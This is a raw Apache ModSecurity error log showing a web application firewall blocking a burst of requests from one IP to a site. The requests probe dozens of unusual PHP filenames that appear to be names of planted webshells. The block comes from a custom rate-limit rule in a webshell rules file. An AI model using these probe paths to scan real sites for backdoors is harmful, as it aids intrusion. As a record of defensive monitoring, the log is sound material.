[Fri Apr 17 04:14:25.520751 2026] [:error] [pid 9153:tid 9226] [client 20.166.7.149:29469] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aeFDIeMHGxkTZX3c45e1BgAAAIg"]
[Fri Apr 17 04:14:26.033468 2026] [:error] [pid 9153:tid 9224] [client 20.166.7.149:10139] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aeFDIuMHGxkTZX3c45e1CwAAAIY"]
[Fri Apr 17 04:14:27.583647 2026] [:error] [pid 9263:tid 9269] [client 20.166.7.149:29408] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "aeFDIxP68VyHNvj1e56XXwAAAMQ"]
[Fri Apr 17 04:14:28.151485 2026] [:error] [pid 9263:tid 9272] [client 20.166.7.149:10239] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "aeFDJBP68VyHNvj1e56XZQAAAMc"]
[Fri Apr 17 04:14:28.759337 2026] [:error] [pid 9153:tid 9240] [client 20.166.7.149:10209] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "aeFDJOMHGxkTZX3c45e1FQAAAJY"]
[Fri Apr 17 04:14:29.309863 2026] [:error] [pid 9152:tid 9202] [client 20.166.7.149:10211] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "aeFDJZJYca8I3TNCwIfUYgAAAEw"]
[Fri Apr 17 04:14:29.903005 2026] [:error] [pid 9151:tid 9163] [client 20.166.7.149:10199] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeFDJchTVuRPkua22vRnYwAAAAI"]
[Fri Apr 17 04:14:30.480878 2026] [:error] [pid 9263:tid 9270] [client 20.166.7.149:29436] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeFDJhP68VyHNvj1e56XbwAAAMU"]
[Fri Apr 17 04:14:31.050345 2026] [:error] [pid 9152:tid 9211] [client 20.166.7.149:29421] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeFDJ5JYca8I3TNCwIfUagAAAFU"]
[Fri Apr 17 04:14:31.620706 2026] [:error] [pid 9263:tid 9287] [client 20.166.7.149:10185] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeFDJxP68VyHNvj1e56XeAAAANY"]
[Fri Apr 17 04:14:32.132752 2026] [:error] [pid 9153:tid 9224] [client 20.166.7.149:29383] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "aeFDKOMHGxkTZX3c45e1KwAAAIY"]
[Fri Apr 17 04:14:32.698622 2026] [:error] [pid 9152:tid 9200] [client 20.166.7.149:29492] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "aeFDKJJYca8I3TNCwIfUdQAAAEo"]
[Fri Apr 17 04:14:33.269605 2026] [:error] [pid 9263:tid 9280] [client 20.166.7.149:29432] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "aeFDKRP68VyHNvj1e56XgAAAAM8"]
[Fri Apr 17 04:14:33.831656 2026] [:error] [pid 9263:tid 9272] [client 20.166.7.149:10215] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "aeFDKRP68VyHNvj1e56XiwAAAMc"]
[Fri Apr 17 04:14:34.349900 2026] [:error] [pid 9263:tid 9267] [client 20.166.7.149:10191] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "aeFDKhP68VyHNvj1e56XjAAAAMI"]
[Fri Apr 17 04:14:34.883186 2026] [:error] [pid 9151:tid 9180] [client 20.166.7.149:10186] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "aeFDKshTVuRPkua22vRnagAAABM"]
[Fri Apr 17 04:14:35.533814 2026] [:error] [pid 9153:tid 9221] [client 20.166.7.149:10182] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "aeFDK-MHGxkTZX3c45e1MwAAAIM"]
[Fri Apr 17 04:14:36.046041 2026] [:error] [pid 9153:tid 9228] [client 20.166.7.149:29433] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "aeFDLOMHGxkTZX3c45e1OgAAAIo"]
[Fri Apr 17 04:14:36.649461 2026] [:error] [pid 9263:tid 9273] [client 20.166.7.149:10233] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/iindv.php"] [unique_id "aeFDLBP68VyHNvj1e56XmAAAAMg"]
[Fri Apr 17 04:14:37.480129 2026] [:error] [pid 9263:tid 9284] [client 20.166.7.149:10223] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/iindv.php"] [unique_id "aeFDLRP68VyHNvj1e56XowAAANM"]
[Fri Apr 17 04:14:38.295715 2026] [:error] [pid 9151:tid 9165] [client 20.166.7.149:29476] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/iindv.php"] [unique_id "aeFDLshTVuRPkua22vRnegAAAAQ"]
[Fri Apr 17 04:14:39.085210 2026] [:error] [pid 9151:tid 9166] [client 20.166.7.149:10218] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/iindv.php"] [unique_id "aeFDL8hTVuRPkua22vRnfgAAAAU"]
[Fri Apr 17 04:14:39.834979 2026] [:error] [pid 9263:tid 9287] [client 20.166.7.149:10112] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "aeFDLxP68VyHNvj1e56XtgAAANY"]
[Fri Apr 17 04:14:40.627818 2026] [:error] [pid 9152:tid 9203] [client 20.166.7.149:10193] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "aeFDMJJYca8I3TNCwIfUkwAAAE0"]
[Fri Apr 17 04:14:41.298624 2026] [:error] [pid 9153:tid 9229] [client 20.166.7.149:29473] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "aeFDMeMHGxkTZX3c45e1TQAAAIs"]
[Fri Apr 17 04:14:42.239931 2026] [:error] [pid 9151:tid 9173] [client 20.166.7.149:10206] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "aeFDMshTVuRPkua22vRnigAAAAw"]
[Fri Apr 17 04:14:44.075931 2026] [:error] [pid 9263:tid 9289] [client 20.166.7.149:10198] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "aeFDNBP68VyHNvj1e56XwgAAANg"]
[Fri Apr 17 04:14:44.945668 2026] [:error] [pid 9151:tid 9168] [client 20.166.7.149:10194] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "aeFDNMhTVuRPkua22vRnmAAAAAc"]
[Fri Apr 17 04:14:45.651718 2026] [:error] [pid 9263:tid 9271] [client 20.166.7.149:29475] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "aeFDNRP68VyHNvj1e56XxQAAAMY"]
[Fri Apr 17 04:14:46.473855 2026] [:error] [pid 9152:tid 9199] [client 20.166.7.149:29500] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "aeFDNpJYca8I3TNCwIfUowAAAEk"]
[Fri Apr 17 04:14:47.397513 2026] [:error] [pid 9263:tid 9277] [client 20.166.7.149:29412] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "aeFDNxP68VyHNvj1e56XzAAAAMw"]
[Fri Apr 17 04:14:48.176770 2026] [:error] [pid 9152:tid 9211] [client 20.166.7.149:10116] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "aeFDOJJYca8I3TNCwIfUpQAAAFU"]
[Fri Apr 17 04:14:48.988319 2026] [:error] [pid 9152:tid 9205] [client 20.166.7.149:29496] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "aeFDOJJYca8I3TNCwIfUpwAAAE8"]
[Fri Apr 17 04:14:49.927961 2026] [:error] [pid 9263:tid 9278] [client 20.166.7.149:29425] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "aeFDORP68VyHNvj1e56X0wAAAM0"]
[Fri Apr 17 04:14:50.569514 2026] [:error] [pid 9263:tid 9277] [client 20.166.7.149:29450] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "aeFDOhP68VyHNvj1e56X3QAAAMw"]
[Fri Apr 17 04:14:51.249874 2026] [:error] [pid 9263:tid 9271] [client 20.166.7.149:29416] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "aeFDOxP68VyHNvj1e56X5gAAAMY"]
[Fri Apr 17 04:14:51.841658 2026] [:error] [pid 9263:tid 9281] [client 20.166.7.149:10126] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "aeFDOxP68VyHNvj1e56X7AAAANA"]
[Fri Apr 17 04:14:52.546597 2026] [:error] [pid 9152:tid 9207] [client 20.166.7.149:10069] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "aeFDPJJYca8I3TNCwIfUrgAAAFE"]
[Fri Apr 17 04:14:53.342113 2026] [:error] [pid 9152:tid 9214] [client 20.166.7.149:10216] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "aeFDPZJYca8I3TNCwIfUtQAAAFg"]
[Fri Apr 17 04:14:53.897624 2026] [:error] [pid 9152:tid 9210] [client 20.166.7.149:10123] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "aeFDPZJYca8I3TNCwIfUuQAAAFQ"]
[Fri Apr 17 04:14:54.467460 2026] [:error] [pid 9263:tid 9265] [client 20.166.7.149:10117] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "aeFDPhP68VyHNvj1e56X8QAAAMA"]
[Fri Apr 17 04:14:55.042307 2026] [:error] [pid 9153:tid 9229] [client 20.166.7.149:10217] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "aeFDP-MHGxkTZX3c45e1awAAAIs"]
[Fri Apr 17 04:14:55.752675 2026] [:error] [pid 9152:tid 9201] [client 20.166.7.149:29381] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeFDP5JYca8I3TNCwIfUvAAAAEs"]
[Fri Apr 17 04:14:56.271113 2026] [:error] [pid 9153:tid 9237] [client 20.166.7.149:29438] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeFDQOMHGxkTZX3c45e1bwAAAJM"]
[Fri Apr 17 04:14:56.819132 2026] [:error] [pid 9153:tid 9228] [client 20.166.7.149:29444] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeFDQOMHGxkTZX3c45e1dAAAAIo"]
[Fri Apr 17 04:14:57.481495 2026] [:error] [pid 9152:tid 9214] [client 20.166.7.149:10143] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeFDQZJYca8I3TNCwIfUwgAAAFg"]
[Fri Apr 17 04:14:58.029289 2026] [:error] [pid 9153:tid 9220] [client 20.166.7.149:10148] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeFDQuMHGxkTZX3c45e1dgAAAII"]
[Fri Apr 17 04:14:58.683078 2026] [:error] [pid 9263:tid 9289] [client 20.166.7.149:10181] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeFDQhP68VyHNvj1e56X-wAAANg"]
[Fri Apr 17 04:14:59.234593 2026] [:error] [pid 9263:tid 9278] [client 20.166.7.149:29429] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeFDQxP68VyHNvj1e56X_gAAAM0"]
[Fri Apr 17 04:14:59.746414 2026] [:error] [pid 9263:tid 9266] [client 20.166.7.149:29415] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeFDQxP68VyHNvj1e56YAwAAAME"]
[Fri Apr 17 04:15:00.279125 2026] [:error] [pid 9263:tid 9283] [client 20.166.7.149:29449] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeFDRBP68VyHNvj1e56YCQAAANI"]
[Fri Apr 17 04:15:00.864807 2026] [:error] [pid 9263:tid 9289] [client 20.166.7.149:29420] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeFDRBP68VyHNvj1e56YDAAAANg"]
[Fri Apr 17 04:15:01.407058 2026] [:error] [pid 9153:tid 9229] [client 20.166.7.149:10147] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeFDReMHGxkTZX3c45e1fAAAAIs"]
[Fri Apr 17 04:15:01.968924 2026] [:error] [pid 9263:tid 9272] [client 20.166.7.149:29447] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeFDRRP68VyHNvj1e56YEwAAAMc"]
